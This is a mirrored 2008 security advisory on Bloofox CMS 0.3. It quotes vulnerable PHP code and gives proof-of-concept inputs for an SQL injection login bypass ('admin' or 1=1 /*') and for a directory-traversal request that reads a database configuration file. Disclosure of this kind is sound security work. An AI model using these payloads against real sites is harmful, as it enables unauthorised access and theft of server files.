Lucene search
K

bloofox-multi.txt

🗓️ 22 Jan 2008 00:00:00Reported by AmnPardaz Security Research TeamType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 21 Views

Bloofox CMS Vulnerabilities description and credi

Code
`########################## WwW.BugReport.ir #########################  
#  
# AmnPardaz Security Research Team  
#  
# Title:Bloofox CMS Vulnerabilities  
# Vendor: http://www.bloofox.com  
# Bugs: SQL Injection (Authentication bypass) , Source code disclosure  
# Vulnerable Version: 0.3 (prior versions also may be affected)  
# Exploitation: Remote with browser  
# Fix Available: No!  
################################################################  
  
  
####################  
- Description:  
####################  
  
BloofoxCMS is a free open source content management system (CMS).  
  
  
####################  
- Vulnerability:  
####################  
  
+-->SQL Injection (authentication bypass)  
  
Code Snippet:  
index.php Line#107-116  
  
if(isset($_POST['login']) || $_GET['login'] == "true") {  
if($perm->login($db,$_POST['username'],$_POST['password']) == 1) {  
$login_ok = 1;  
if($_GET['login'] == "true") {  
load_url("index.php");  
}  
} else {  
$login_failed = 1;  
}  
}  
  
system/class_permissions.php Line#63-68  
function login($db,$user,$pass)  
{  
global $tbl_prefix;  
$pass = md5($pass);  
$db->query("SELECT uid,username,password,groups FROM ".$tbl_prefix."sys_user WHERE username = '".$user."' && password = '".$pass."' && blocked = '0' && deleted = '0' && status = '1' ORDER BY username");  
$total = $db->num_rows();  
.  
.  
.  
  
  
There is no input validation here therefore its possible for a remote attacker to bypass login mechanism when magic quotes is disabled!  
  
POC :  
Username: admin' or 1=1 /*  
Password: something  
  
+--> Source code disclosure  
  
Code Snippet:  
file.php Line#25-49  
  
$file = $_GET['file'];  
  
// Block external linkings  
$HTTP_REFERER = $_SERVER['HTTP_REFERER'];  
if(strpos($HTTP_REFERER,$_SERVER['SERVER_NAME']) == 0) {  
die("Forget It!");  
}  
  
$basedir = getcwd()."/media/files";  
  
// create file name  
$filename = sprintf("%s/%s", $basedir, $file);  
  
// check file on server  
if(!file_exists($filename)) {  
die("File not found!");  
}  
  
header("Content-Type: application/octet-stream");  
  
$save_as_name = basename($file);  
header("Content-Disposition: attachment; filename=\"".$save_as_name."\"");  
  
// output  
readfile($filename);  
  
Input passed to the "file" parameter is not properly sanitised before being used.  
This can be exploited to display arbitrary files through directory traversal attacks or by passing full paths.  
  
POC:  
GET: http://servername/bloofoxCMS_0.3/file.php?file=../../system/class_mysql.php  
Referer: http://servername/  
  
####################  
- Credit :  
####################  
Original advisory: http://bugreport.ir/?/27  
AmnPardaz Security Research Team  
Contact: admin[4t}bugreport{d0t]ir  
WwW.BugReport.ir  
WwW.AmnPardaz.com  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

22 Jan 2008 00:00Current
7.4High risk
Vulners AI Score7.4
21